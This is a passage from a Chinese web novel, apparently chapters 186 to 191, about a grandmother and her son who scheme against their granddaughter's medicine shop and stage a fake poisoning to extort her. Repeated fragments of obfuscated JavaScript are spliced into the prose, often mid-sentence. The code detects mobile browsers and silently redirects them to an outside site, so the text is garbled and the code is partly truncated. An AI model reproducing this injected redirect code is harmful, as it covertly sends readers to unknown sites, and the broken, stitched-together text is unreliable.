让大家都知道是因为老三他才会吵醒大家,让娘有点什么事儿光给老三说,他们剩下的三个儿子就好像是外人一样。 每次有什么事儿总是发生了才知道,是好是坏他们都得帮忙兜底,还不许他有点情绪了。 他回到屋里的时候,媳妇儿周浮萍还没睡。 她靠在炕边的小几上,无奈说道:“娘又找老三议事?” “嗯。” 许留年脱下鞋子,坐在了炕边的马扎上,把脚放进了媳妇儿早就准备好的泡脚水里。 只是耽误这会儿,水早凉了些。 周浮萍起身披上件衣服,出了屋门。 不一会儿拿了个烧水壶进来。 许留年看到,心领神会的把脚先拿了出来。 周浮萍就怕他回来的晚一会儿水凉了,所以特意在厨房的小炉子上温着水。 她走过来,添了些热水在洗脚盆里。 “娘也真是的,就老三是儿子?天天防着你们哥仨跟防贼一样。” 许留年重新将脚放进了盆里,舒服的热水让他的表情都松动了许多。 只是听到媳妇儿这话,还是皱眉“啧”一声。 “我娘是你婆母,你怎么能编排她?” 周浮萍一听这话,水壶重重的往旁边一放,不服气道:“我这是说实话。” 她将衣服挂了起来,重新回到了被窝里,刚刚暖的热气都快跑完了。 周浮萍看着丈夫因为热水而舒服的脸继续絮叨。 “单单说老二家那个送出去的丫头,都送出去十几年了,生恩不及养恩,这老话说的多清楚。 可你娘倒好,这会儿非得招惹啥,没吃到羊肉,还惹了一身骚气。 咱那大门都几天没打开了,门外臭气熏天,还天天有人在门外骂,你们能受得了,我可受不了。 好在是俩闺女都嫁出去了,要不然就咱们家这名声,谁敢要咱的闺女?” 许留年听了这话,也忍不住叹了口气。 但他颇为无奈:“那我能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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许老太用力拍开儿子贪婪的手,从里面拿出了五十文,又把这小匣子锁上了。 “这五十文你拿着,改日你去那丫头的铺子里随便忖摸个差不多价钱的东西买回来。” 第186章 家人内讧 本来听到自己有五十文可拿,许过年还挺高兴的,可是听到娘后面的话,脸上的笑容瞬间消失。 合着这钱自己根本不是给自己的。 他拿过钱问娘要干啥,许老太阴冷一笑:“我要这丫头的命。” 听到娘这么说,许过年一点没有害怕的意思,反而兴奋的说道:“那丫头要是**,那铺子能给我不?” 许老太哼笑一声,“光铺子?听说她那药田一年可挣上千两,到时候咱们拿了钱去城里买个三进三出的大院子,看谁还敢瞧不起咱们。” 许过年一听脸上的激动都掩盖不住,他兴奋的回了屋,已经做上了吃香喝辣的梦。 翌日,趁着吃早饭,许留年做了半天的心里准备才开口劝母亲别去招惹许芷,他们就安安生生的过自己的日子就行。 可是这话一出口,他立马被老三许过年怼了。 “大哥,你可闭嘴吧,就你是好人,娘的决定啥时候用你质疑了?” 被亲弟弟当这全家人的面这样不留情面的说,许留年只觉得心里气愤不已。 他生气的说道:“那你还是我弟呢,对大哥就这么说话?” 许过年听到轻嗤一声,继续吃饭,对大哥的不屑之情溢于言表。 “行了吧,大哥,摆什么大哥的谱啊,这家里娘才是最大的。” 周浮萍看到她男人被这样看不起,心里也是有气。 她生气的对老三许过年说:“老三,你怎么对你哥说话呢?我们是要尊重娘不假,可你也应该尊重尊重你大哥吧。 你大哥也是家里的人,他怎么就不能说一说自己的意见? 何况他说这话本意也是为了你们好,又不是别的什么,他怎么就不能说一说!” 老三许过年听到这话,一点没有被大嫂给说动,反而脸上的嘲笑意味更浓。 眼神充斥着不屑,轻蔑的用筷子指着大哥哼笑道:“就他?我尊重? 大嫂,尊重是自己个挣来的,可不是嘴皮子一碰人家就得听你的。 就我大哥这么个软包子,凭什么让我尊重? 要是能选,我真不希望有这么个窝囊大哥!” 闻言,许留年不可置信的看向自己的亲弟弟。 从没想过自己的弟弟会这样看自己。 他为人确实老实了点,耳根子也软,在家人面前从来没什么架子,更不会摆大哥的谱。 村里人都说他性格温顺,不像许家的人。 就算是如此,可是也不该说自己的窝囊吧? 说这话的还是自己的亲弟弟! 他眼中的怒火渐盛。 老小许裕年听到三哥这话,立马反驳:“外人的尊重是自己挣得,家里人的尊重是本就该如此。 那是我们大哥,你作为弟弟就是应该尊重怎么了? 三哥,你说话也太过分了,怎么说那也是大哥! 大哥平时帮我们的还少吗?” 老大媳妇儿周浮萍眼睛死死的看着许过年,咬着牙说道:“帮的再多有啥用,不领情都是白搭。” 许裕年不太赞同大嫂周浮萍说的,大哥帮他们的所有人都是有目共睹,怎么就是白搭。 他就不信他三哥还能把黑的说成白的,三哥要是能说出没帮过这种瞎了眼睛的话,许裕年他第一个不答应。 虽然许过年没有否认这话,可是周浮萍说的不错,这种人是不可能领情的,他只觉得你应该。 果然,只见许过年轻嗤一声后说道:“帮?就他那点谁都能干的事儿能算帮? 作为大哥,他多出出力怎么了?帮帮我们他落个好名声,也算是为自己积德。 那他从中获了利,我说什么谢。 既然你说了家里尊重是应该的,你这个做小弟的怎么不知道尊重我这个三哥呢?” 许过年这种不要脸的想法,彻底颠覆了许裕年的认知。 “你!”许裕年不欲多争辩,只言:“上行下效,三哥怎好意思说我?” 许过年最看不惯的就是这个小弟,作为家里最小的,娘对他付诸的心血最多。 小时候还去过几日学堂,就学那么点东西,还真以为自己是个文人了,天天说话文绉绉的。 他听了就烦。 “我不好意思,你好意思行吧。” 说完他故作挑衅了看向了小弟,而许裕年瞪他一眼不再多说什么。 老二许富年,也就是许芷的亲爹。 不耐烦道:“吃个饭也能这么多事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许留年闻言,抬头看了母亲一眼。 这一眼很是复杂,莫名的看着许老太心里很是慌乱。 可她不愿意在儿子面前,展露自己的不安,反而用更加暴躁的语气来维护自己作为母亲的面子。 “老大!我跟你说话呢,你这媳妇儿还能不能管了?不能的话为娘替你教训!” 话音落下,许留年才缓缓开口道:“娘,分家吧,我跟小萍过我们自己的,这样就不会让你们看不起,也不会有媳妇儿让你不高兴了。” “你、你说什么?” 许老太简直不敢相信自己听到了什么。 老三说的话她听到了,可是她做母亲的也是这么想的,不觉得老三说的有什么不对。 她不明白,这么多年都过来了,这夫妻俩现在到底是在闹什么。 还敢说分家这种话,分了家就他们夫妻俩这种窝囊、耳根子还软的废物,还能干什么? 指定没几天就过不下去,灰溜溜的要回来。 尽管她心里这么想,但是她面上自然不可能这么说出来。 虽然不说,但是看向他们夫妻俩的目光是揶揄的。 “行啊老大,长本事了,那就分家,我倒是要看看分了家,你们这夫妻俩怎么活。” 老三也跟着母亲说话:“娘这你就别操心了,我大哥这么大的人了,还能**?” 说完,嘲讽的笑声已经响起。 “三哥你就别幸灾乐祸了。” 许裕年看不惯的说着,转头又劝大哥道:“大哥,别冲动,有什么事情大家都商量着来。” 许留年抬手制止了小弟继续说话:“不用了小弟,这件事我想的很清楚,我跟你大嫂过自己的,家里的事儿我们就不掺和了。” 既然如此,他就不说那么多了,只要大哥想清楚了就好。 而且分家不一定是坏事,就今天娘跟三哥说的这些话,谁听了都不会愿意的。 许老太哼笑一声,“既然要出去,那就别住在我的房子里,别说娘为难你们,是你们俩自己要分家的,自然应该自己想办法解决这些问题。” 听到这话,许留年看了一眼妻子。 他不怕,没了房子也不怕,再努力就是了,大不了匀出一块地慢慢盖房子就是。 可是妻子愿意吗? 这意味着两个人已经四开头的年纪,还要重新打拼,什么都没有了。 他很犹豫,生怕妻子受苦。 但周浮萍只是淡然一笑,一点没犹豫,微不可查的点了点头。 她并不觉得这样有什么苦的,总比在这一直受气的强。 看到妻子愿意,许留年松了口气,看着母亲,直接答应了下来。 这倒是让许老太愣住了,她本以为这么为难老大夫妻两个,他们会犹豫。 可是没想到两人都异常坚定,同意了这件事。 “娘你提的要求我们答应了,该我们提了吧?” 老大许留年定定地看着自己的亲娘。 许老太不敢相信的看着儿子,黑着脸问道:“你还有脸提什么要求?” “也不是什么过分的要求,就是娘做的事跟我们夫妻俩无关就行。” 许留年淡淡说道。 许老太闻言嘲讽一笑:“原是因为这个。 成啊,娘做的事跟你们夫妻俩无关,以后也别沾我的光!” 许留言和周浮萍听到这话,苦涩一笑。 沾光?只怕不受牵连就不错了。 最后在许老天和老三许过年的嘲笑中,还有老大许留年的坚持中还是分了家。 老大许留年分了出去,只拿走了属于自己的东西。 闭门了几日的许家,突然开了门,上坪村里的人都好奇的伸着脖子去看怎么回事。 结果看到了拿了满手的行李出来的许留年夫妇。 有好事的人问道:“大年呐,你这是?” 许留年觉得有必要把这件事跟村里人宣扬宣扬,这样也算是让村里人做个见证。 日后,若是母亲真的做了什么事儿,跟他没关系,不至于连累他的女儿。 所以往日不愿意多说话的许留年头一次开口跟大家说家里的事儿。 “我跟娘分家了,以后娘做的事情跟我没关系。” 此话一出,众人的表情很是精彩。 没过两天,村里传出了许留年不孝的说法。 说他精,不过是家里被村里人围着说了几天,竟然直接割席,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许过年站在铺子外等着,悠闲地看着街上的人来来往往。 没想到李远很快便出来了。 他看了看乾坤铺子,没人看到他,赶忙抓着人走到一边问道:“买到了啥?” 李远两手空空往外一摊,有些结巴道:“啥、啥都没有。” “啥?” 许过年一下就火了,“你怎么什么都没买?” 李远也是怒了,这人光吩咐自己去买东西,但是连钱都没给够。 就他给的这二十文钱,什么都买不住。 最便宜的也得五十文才可以。 他没好气的跟许过年道:“哥,不带你这么恶心人的。” “我怎么恶心你了?” 这话倒是把许过年给说懵了。 他给钱让李远去买东西,又不是让对方掏钱,李远就帮着自己跑一趟就行了,怎么就恶心对方了。 李远将二十文愤愤的塞到了许过年的手里,“人家店里最便宜的也得五十文钱,你给我二十文让我大摇大摆的进去。 结果什么都买不到,还让人家看扁了,你说你是不是故意恶心我呢?” 许过年闻言感到惊讶,真没想到这丫头的铺子里东西卖的这么贵,竟然二十文都买不到任何。 要是这铺子成了自己的,那得赚多少钱啊? 本来疑惑的眼神被泛着绿光的贪婪取代,他兴奋的将所有的钱都拿了出来。 “这些钱都给你,你只管买就是了,到时候你的好处少不了。” 看到许过年还愿意给钱,李远的脸色好了很多。 但是这次李远谨慎多了,他没有拿了钱就进去铺子,先站在原地数了数。 数完才四十六个铜板,他啧一声看向许过年。 “许哥,这才四十六个也不够啊。” 许过年愣了一下,他们两个人来做牛车一个人一个铜板,进城又一个人给了一个铜板。 所以现在根本就不够五十个,这他倒是给忘了。 他想了想开口问道:“远子,你有钱没?” 李远听到这话,防备的看向他,手还捂在了胸口。 许过年一看就知道这铁定是有钱,所以他直接上手去拿。 果真翻出来了是个铜板。 他一边翻还好声的说道:“远子你放心,这钱当哥借你的,等过去了,哥十倍百倍的还给你。” 头一次见到许过年这种求人的样子,李远长久以来只能当小弟的心直接被捧高了。 他刚想满口答应下来,但是还是有点担忧的问道:“许哥,你说的是真的吧? 到时候你真会十倍百倍的还给我?” 许过年有些不耐,但还是好声好气哄道:“那当然了,可不是十倍,是百倍,这十文到时候我还给你......” 他算了一下,可是一两银子。 要说出口之前,他自己都惊讶了一瞬,一两银他平时都少见。 可看着李远探究的眼神,还有想到这铺子归了自己之后的风光样子,他坚定了决心说了出来。 “还你一两银! 这可是百分百赚钱的买卖,你敢不敢吧?” 这样一哄一激,果真李远高高兴兴的拿着钱去了乾坤铺子。 其实许过年觉得自己这不算哄,等自己有了钱这一两银子还能算是事儿吗? 所以算不得,算不得哄。 李远再度进去,很快就出来了。 出来的时候,手里拿了个皂儿膏。 “许哥许哥,这个是洗澡用的东西,听那伙计介绍说,这东西可好了,就这么一块六十五文呢。” 许过年看着那东西,听着李远说的话,本来还挺高兴的,直到听到这东西竟然要六十五文,他脸色就变了。 看向李远问道:“六十五文?你哪来这么多钱?” 提到这个李远一脸邀功的看向许过年道:“当时我看这个不错,可拿到手一问价钱根本买不起。 我就试着讲了讲价,没想到对方一口答应了。 我还嫌自己讲价讲少了,早知道对方答应的那么干脆,自己就该多说点。” 许过年也没作多想,拿着皂儿膏,两个人出了城。 只是出了城,两人没了钱,只能硬生生走回去。 到了两人要分开的时候,李远因为走的太远累的满脸菜色的看向许过年,问道: “许哥,你说的话可算数哈。 到时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188953|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候给我壶好酒,还有那一两银子。” 许过年着急回家,所以快速地应承着。 “那是自然,远子,你就放心吧,你远哥我什么时候骗过你?” 李远这才有些放心的回了家。 而许过年见到他走了,转头就换上了嫌弃的神色。 “鼠目寸光之辈,这辈子也就这么窝囊了,眼里也就能看到那点酒和一两银子。” 许过年心想自己跟他可太不一样了,自己以后那可是有大钱的人。 他快步回了家,拿着买到的东西给娘看。 许老太看着,手里那小小一块的东西,不确定的问道:“就这么个东西,要六十五文?” “对啊娘,那丫头心真黑,得赚多少钱啊!” 许过年贪婪地说着。 他想了想又补充的说道:“不过这东西也没花那么多钱,儿子也没那么多钱。 讲了讲价,借了远子十文,最后五十六文买下的。” “讲价?她这铺子还能讲价呢?” 许老太随口说着。 提到讲价,许过年讲笑话一样的开口道:“娘,你不知道那丫头是个傻的,招的伙计也没聪明到哪去。 远子一说讲价,那家伙连还一下都没,直接就同意了,这就少赚了九文钱。 娘,你说这伙计是不是傻,就算是真能讲价,你起码做个挣扎的样子,起码让咱们觉得有忍痛割爱那样子。 哎呀,这丫头还是小,看着能干事儿,但是看人还是不行。” 闻言,许老太敏锐的捕捉到了什么。 “你说这块皂儿他们爽快的便宜给了我们?” “对啊娘,有什么问题啊?” 许过年疑惑的看着娘,不解的问道。 许老太胸有成竹的哼笑一声:“真是人瞌睡了就来递枕头,这皂儿要是没问题,他们会那么爽快的便宜卖给我们?” 许过年恍然大悟的笑道:“娘说的是啊,谁不愿意多赚些钱,可是他们这样做肯定是这东西有问题!” 两人好像看透了什么秘密一般,喜不自胜。 而许老天看着手里的皂儿膏,她仿佛透过这皂儿膏已经看到了那丫头悲惨的结局。 第189章 神色异常 十一月下半个月,许芷的铺子忙的不可开交。 地里的事儿都忙完了,许芷有大量的时间投入进铺子里。 因为天冷了,她研究出了泡脚包,专用于冬日。 一共推出了十种,每一样都有自己的功效。 例如生姜泡脚包,用于关节肿痛、手脚冰凉。 白醋泡脚,用于美白祛斑、失眠多梦。 红花泡脚,用于手脚发麻、久病刚愈合之人。 当归泡脚,用于葵水不调、眼袋眼圈和排解忧思。 等等,除了这些还有很多,每一样都有自己的用处。 冬日大家本就泡脚的多,有了这有功效的泡脚包大家很是喜欢。 因为有前面许芷买的东西有效用的体验,这泡脚包一样卖的十分红火。 许芷定价也不高,一份十二个小包不过五十文钱。 除了有些个别里面的药材珍贵些定价高,其他的其实都很便宜。 许芷还特意为了那些权贵人家推出了不一样的泡脚包。 其实里面的药材没什么区别。 但是用的包装不一样,普通的泡脚包用的是便宜的纱布包裹,十二个一组,用油纸装起来。 而权贵人家用的贵的泡脚包则是用轻薄如云雾而得名的云雾绡包裹,上面还特意让孟雨兰在纱上绣了东西。 名贵好看又好用。 包泡脚包的也不是油布,而是特意用蜀锦制成的囊袋。 依旧让孟雨兰用苏绣技法绣了双面绣的图案,缝制的时候还特意用了隐藏式的针法。 这囊袋正反两面都能用,泡脚包用完了,还能来许芷铺子里。 买跟泡脚包一样用云雾绡制成的香囊中的药包,放进香囊中挂在床边用上。 也可以买许芷铺子里的香包,放在衣柜里用。 衣物拿出来芬香扑鼻,甚是好闻。 所以这泡脚包不过推出了两三日,就在城里掀起了泡脚的热潮。 大街小巷,大家都在讨论用了那泡脚包后有多舒服。 乾坤铺子也排起来了长队,就为了抢购那泡脚包。 尤其是权贵人家用的贵泡脚包,许芷起名为水中月。 因为制作那包装麻烦得很,所以限量卖,量少那些权贵人家抢的更厉害。 甚至要主动加价抢购,甚至有一种千金难求的架势。 原本做这水中月的时候,王茹娇和刘喜英还觉得没必要。 觉得这么贵的布用在了泡脚包上多么不值。 那囊袋还好些,用完装上别的还能继续用。 可是那装草药的云雾绡,泡进了泡脚的桶里自然不可能用了,真是太可惜了。 她们两个还劝许芷说,只用这珍贵些的布料用在外面就可。 那包草药的还是用普通的纱布就成。 可是许芷和孟雨兰都说不行,贵重人家看的就是这些东西。 他们就算是擦脚的布用的都不会是他们穿的这种粗布衣裳。 而开始卖看到那些人为了这泡脚包抢来抢去的样子,两人算是大开眼界。 才知道许芷和孟雨兰说的有多对。 正当他们忙的不可开交的时候,突然门口传来了一声暴怒。 “这乾坤铺子谁管事儿!给我出来,看你们的东西给我老娘弄成什么样了!” 闻言,本来在忙的王茹娇和刘喜英对视一眼,慌忙跑出来看。 结果王茹娇这一看还看到了熟人。 外面暴怒的人竟然是许芷的三叔,旁边躺着的虚弱老太是许芷的亲奶奶,许老太。 她愣在原地一时不知道该说些什么。 而刘喜英不认得许芷的奶奶和三叔,她上前好声好气的问道:“这位大哥,这是怎么了?” “怎么了?哼!” 许过年冷哼一声,生气的指着自己的亲娘说道:“在你们这买的皂儿膏,回去我娘一用就变成了这样!” 刘喜英顺着他指的方向看过去,只见地上躺着的老妇,其他没露出来的地方不得知,但她的脸上和手上都是红肿一片,看着甚是骇人。 她有些惊慌,从来没见过买过的客人会出现这样的情况,所以她心里害怕不已。 忙向王茹娇投去了求救的眼神。 而王茹娇这会儿看着地上呻吟的许老太,不知道在想什么,没有看到她的眼神。 着急的刘喜英,不知道该怎么办。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193244|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许芷出门去卖材料去了,没在铺子,主事儿的人不在,她总归是没底气。 无奈,她低声些商量问道:“这位大哥,有什么事儿咱们先进去,喝杯茶慢慢说,这里这么多人不是商量事儿的地方。 您说是吧?” 看到刘喜英这态度,许老太和许过年都觉得这事儿稳了。 还以为要掰扯一场,可是没想到他们就说了没两句,这人就摆出了息事宁人的样子。 既然如此,许过年坏笑一声,准备大肆演一场。 他猛地推了一把刘喜英,生气大吼:“什么这不是商量事儿的地方? 我看你们就是想把我们请进去,这样悄默默的把这事给按下,不影响你们乾坤铺子的声誉!” 说着他嗷一声跪地趴在母亲的身前,痛哭流涕道:“娘啊,这铺子店大欺客,把你弄成了这个样子,却不敢认。 还想把我请进去只怕是要把我灭口啊! 娘啊,儿子不孝,无法替你讨回公道,您要是不行了,可不要怪儿子啊。 要怪就怪这乾坤铺子,是他们买的皂儿膏出了问题,才会让你受这一遭罪啊!” 这会儿正是热闹的时候,就算没有乾坤铺子前面这么多人排队,街上也是人来人往的,大家都纷纷停下了脚步。 许过年看着驻足的众人,满意的心想,这些人肯定听了他说的就会站在他这边,跟他一起指责乾坤铺子。 到时候,让母亲再一装昏,这事儿就彻底成了。 只看他对着众人道:“那日来买皂儿膏,卖给我们那人低价卖给我了我们。 当时还高兴,以为占了便宜,没想到是这些人有意为之。 一定是他们知道这皂儿膏有问题,所以才会这样。 早知如此,我死也不要那便宜的皂儿膏,不然我娘也不会有次一难。 娘你一定要坚持住,儿会给你讨回公道的。” 说完他继续趴在许老太身上痛哭。 等着周边看热闹的人给他主持公道。 只是没想到等了半天,也没听到想象中对乾坤铺子的指责声。 他疑惑的抬起头打量众人,只见大家神色异常的看着自己。 第190章 盛气凌人 许过年更加疑惑了,他都这么说了,怎么没有人指责那丫头,还在这看什么? 他这么想着,开口继续道:“大家不要来她这铺子买东西,要人命啊!” 这么说了之后,众人脸色才有些变化。 他觉得这才对,人命关天的事情,大家怎么可能毫无反应。 接着,就有位大娘站了出来,他心想终于有人站出来要主持公道了。 结果却听到对方开口道:“这位小伙,你娘或许是用了其他的东西才变成了这样? 乾坤铺子里的东西我们都信得过,用了这么久,没见谁有什么事儿。” 她说完其他人也跟着附和道。 “是啊,这乾坤铺子的东西我用了大半年了,香囊、膏沐和那皂儿膏,我都用过,除了觉得有用没有一点不舒服的感觉。” “而且乾坤铺子许掌柜是个好人,体恤大家赚钱不易吩咐过,只要有人还价就一口答应就好。” “我还记得她说过清楚很多人用铺子里的东西有时候是救急,或者真的是不舒服了很久,才想着来买,不能因为钱不够就不卖。” “对啊,许掌柜这种大义之人,不可能干这种事。” 说着,刚开始说话的那位大娘,还特意苦口婆心的劝道:“小伙子,你不如带你娘去医馆好好看看,也比在这强。” 此话一出,旁的人也很是认同。 “对啊,你去看过真要是铺子的问题,许掌柜不是那种不管事儿的人,一定会给你个交代。” “你去了铺子,你娘先保住命再说,在这躺着这不是等死吗?” 许过年没想到大家会为许芷那丫头说话,没有一个人为他们母子俩说话。 他咬牙切齿的瞪着众人,“你们是不是得了这铺子的好处,故而才这样。 我娘都这样了,我能说假话吗? 你们就不怕家里人也变成这样吗?” 他这带了诅咒性质的话一出,本来还好心说话的人全都不愿意了。 “你这小伙怎么说话呢?我们也是好心建议,听不听在你,反正我们相信许掌柜。” “是啊,你娘都这样了,你不想着赶紧去医馆看一看,反而在这掰扯,要我说你娘没命了也是被你耽误了。” 听到儿子被说了,许老太嚯的一下起身,撒泼一样的怒吼道:“你们说什么呢?我儿子对我最好了,闭上你们的乌鸦嘴。 我儿子这不是怕我治好了那铺子的人再不承认,所以才趁我最难受的时候,来找他们问一问,到了你们嘴里怎么就成了我儿子的错了!” 那些人看到刚刚还虚弱的老太太突然变得精神十足、牙尖嘴利,这还有什么不明白的,各个表情都十分的精彩。 而许老太丝毫没有察觉到自己已经被人看穿了,还是许过年看到众人揶揄的眼神才觉得不对。 赶忙装作痛苦的样子捂着许老太的嘴,凑近了低声说:“娘,你现在可是病人!” 一听儿子这样提醒,许老太猛然意识到自己干了什么,她立刻装作腿软的样子,捂着头往地上倒。 “娘啊,我知道你为了儿子怎么样都可以,可你都成这样了,就不要强撑着为了儿子去辩驳了。” 许过年故意说道。 而许老太也配合他做出一副母慈子孝的样子。 “儿啊,娘就是**,埋进土里,可只要有一个人说你,娘都要跳出来护着你。” 王茹娇看到只觉得一阵恶寒,这母子俩一看就是来讹许芷的。 她得想办法通知小芷。 刘嫂子性子软些,在这定然无法撑着局面,所以她只能让刘嫂子去叫人,她先在这撑着。 她趁着这母子俩还沉浸在表演中无法自拔的时候,迅速让刘喜英去找许芷说明情况。 刘喜英点了点头,刻不容缓,快速的溜走了。 而铺子里本来去后院搬东西的王金宝这会儿进来看到店里一个人没有,但是铺子门口不是一般的热闹。 走出来看着地上抱头痛哭的母子俩,疑惑地走到了王茹娇身边问道:“娇娇,这是闹哪出啊?” 王茹娇淡淡的看了两人一眼,平静的说道:“讹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193245|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的。” “啥?” 王金宝听到这话惊讶不已。 **的,还真有人敢来铺子门前,光明正大的讹他们。 那他也不是吃素的,王金宝直接上前,不客气的驱赶道:“要唱戏的话,这道街走到头有个戏台子,别在我这铺子门口找晦气。” 王金宝这态度彻底惹怒了许过年,他指着王金宝怒吼:“你们这铺子就是这样开门做生意的是吗? 你们的东西把我娘害成了这样,还说我们是在唱戏,还有没有天理了?” 许过年心想目前的局势,光靠几句话是难成事。 所以他站起来,瞪着王金宝,掷地有声道:“报!官! 光天化日,朗朗乾坤,我娘都这样了,竟然被人说是为了碰瓷演戏! 你们还有没有人性,我要报官抓你们这黑心商家,查封你们这黑心铺子!” 这倒是让王金宝懵住了,不是王茹娇说的这是来碰瓷的。 他转头看向王茹娇,王茹娇为难的皱起眉头,她也没想到王金宝会直接点明。 这种事儿不说开大家心里有数,见招拆招就好。 可是说开了可就是另外一回事了,说不准还会让他们铺子落下风。 果然,王茹娇料想的没错。 人群里还真有人站到了许过年这边。 “是啊,人家老娘都这样了,你们乾坤铺子说话也太盛气凌人了。” “人家敢报官,看来是有底气啊,难不成这乾坤铺子的东西还真出问题了?” “这还真说不准,往常咱们用了是好,可是闹不准铺子忙了起来他们偷工减料什么的,也有可能啊。” 听到这话王金宝和王茹娇大惊,这风向可不妙啊。 而许过年听到有人站在了自己这一边,嘴角勾起了一抹得逞的笑容。 但也不是所有人都被他这样子唬了去。 还有不少人还是站在铺子这边,毕竟刚刚许老太那中气十足的样子,一看就是有猫腻啊。 所以他们也开口替许芷辩驳。 第191章 心怀鬼胎 “这许掌柜的东西我们都用了这么久,是什么样我们心里都清楚,我还是觉得不是铺子的问题。” “我也这样想,大兄弟,你不如赶紧带着亲娘去看看,要是大夫说了是铺子的问题,我相信按照许掌柜的为人,定然不会推卸责任的。” 此话一出,众人纷纷点头表示赞同。 可有人赞同就有人反对,还没怎么样,这两拨人先吵不可开交。 把王茹娇和王金宝夹在中间,劝那边都不是事儿。 而许过年看到这混乱的场面,跟亲娘许老太对了下眼神,两人的神色里隐隐的透着得意。 越乱越好,越乱越有利于他们娘俩浑水摸鱼。 许芷就是这个时候回来的。 刘喜英看到情况更乱了,她慌忙上前帮王茹娇他们两个。 而有人眼尖看到了许芷,忙道:“许掌柜,快过来,有人找你。” 其他人也纷纷说道: “许掌柜不管是真是假,快澄清吧,要不然你这铺子的生意可耽误了。” “谁说不是呢,我们也着急买东西呢。” 说话间,人群中自觉让出了一条路。 王茹娇和王金宝看到许芷仿佛看到了救星,立刻跑了过去。 没等许芷开口,王茹娇附在她的耳边轻轻地说明了情况。 在她介绍那二人的身份的时候,许芷打量的目光投射过去。 那两人也在看自己,不过没有自己看的光明正大。 许老太是假借病容眯着眼睛打量自己这个孙女。 跟她想象中的样子差不多,这张脸一看就是他们许家的孩子。 可是眼神不一般,她从来没在许家任何一个人脸上看到过这样的眼神。 心想那老二的倒霉媳妇儿梅子死的虽早,这姑娘却把那死女人的眼神学了个五分像。 剩下的五分,她就真的看不出随谁了。 许过年也同样是偷偷扫视这个侄女。 看着瘦瘦弱弱一姑娘,身子单薄,好像风都住。 所以他更加的胸有成竹,觉得就这么个小姑娘,他们母子俩手拿把掐。 只怕是吓一吓立马就能哭出来。 这么想着,他的神色隐隐透着得意,仿佛已经看到了自己有了钱的日子。 看着那两张跟自己相似的心怀鬼胎的脸,许芷面无表情缓缓走上前,迎着许过年和许老太不善的眼神,她先开了口。 “怎么回事?” 许过年快速阴冷一笑,上了个怒不可遏的眼神,高声指责:“你就是这铺子的掌柜吧?” “是。” 许芷简短的回答着。 “我娘用了你们铺子的东西成了这个样子,你不得给我个交代?” 许过年因为觉得此事已成,这会儿说话都很有底气。 话好像就在嘴边,一问就立马送出来,连思考的时间都没有。 许芷闻言歪头看向许过年身后的邓老太,观察着她面容和手上的红肿,心下了然。 本来有了王茹娇的解释,许芷已经对今天的事有了判断,如今凑近看了心里更有数。 走上前说是问话,其实是为了近距离观察情况。 她不紧不慢继续问道:“有何证据?” 许芷直视着许过年的眼睛,眼神里没有一丝一毫的害怕,只是平静无波澜。 许过年看到这样如同一潭死水的眼睛,没来由的皱了下眉头,总觉得心里有一丝异样的感觉。 但他没心思去思考这感觉到底从何而来,为何而来,到底是什么。 他只想尽快占据有利地位,将许芷的钱财都据为己有。 所以许过年掷地有声回道:“怎么没证据?我娘就是用了你们铺子的东西才成了这个样子。” “可有大夫的诊案?” 许芷不急回问。 许过年愣了一瞬,他当然没有,但他仍理直气壮说道: “我娘身体好的不得了,多少年都没生过病,就最近几日用了你们家的皂儿膏就成了这样,还说不是你们的问题?” 说完,他看着许芷那不为所动的样子,旧计重。 “报官!既然跟你说不通,那报官就是,我相信县太爷总会给我们一个公道的。” 他期待着说出这句话之后,许芷被报官两个字吓到。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 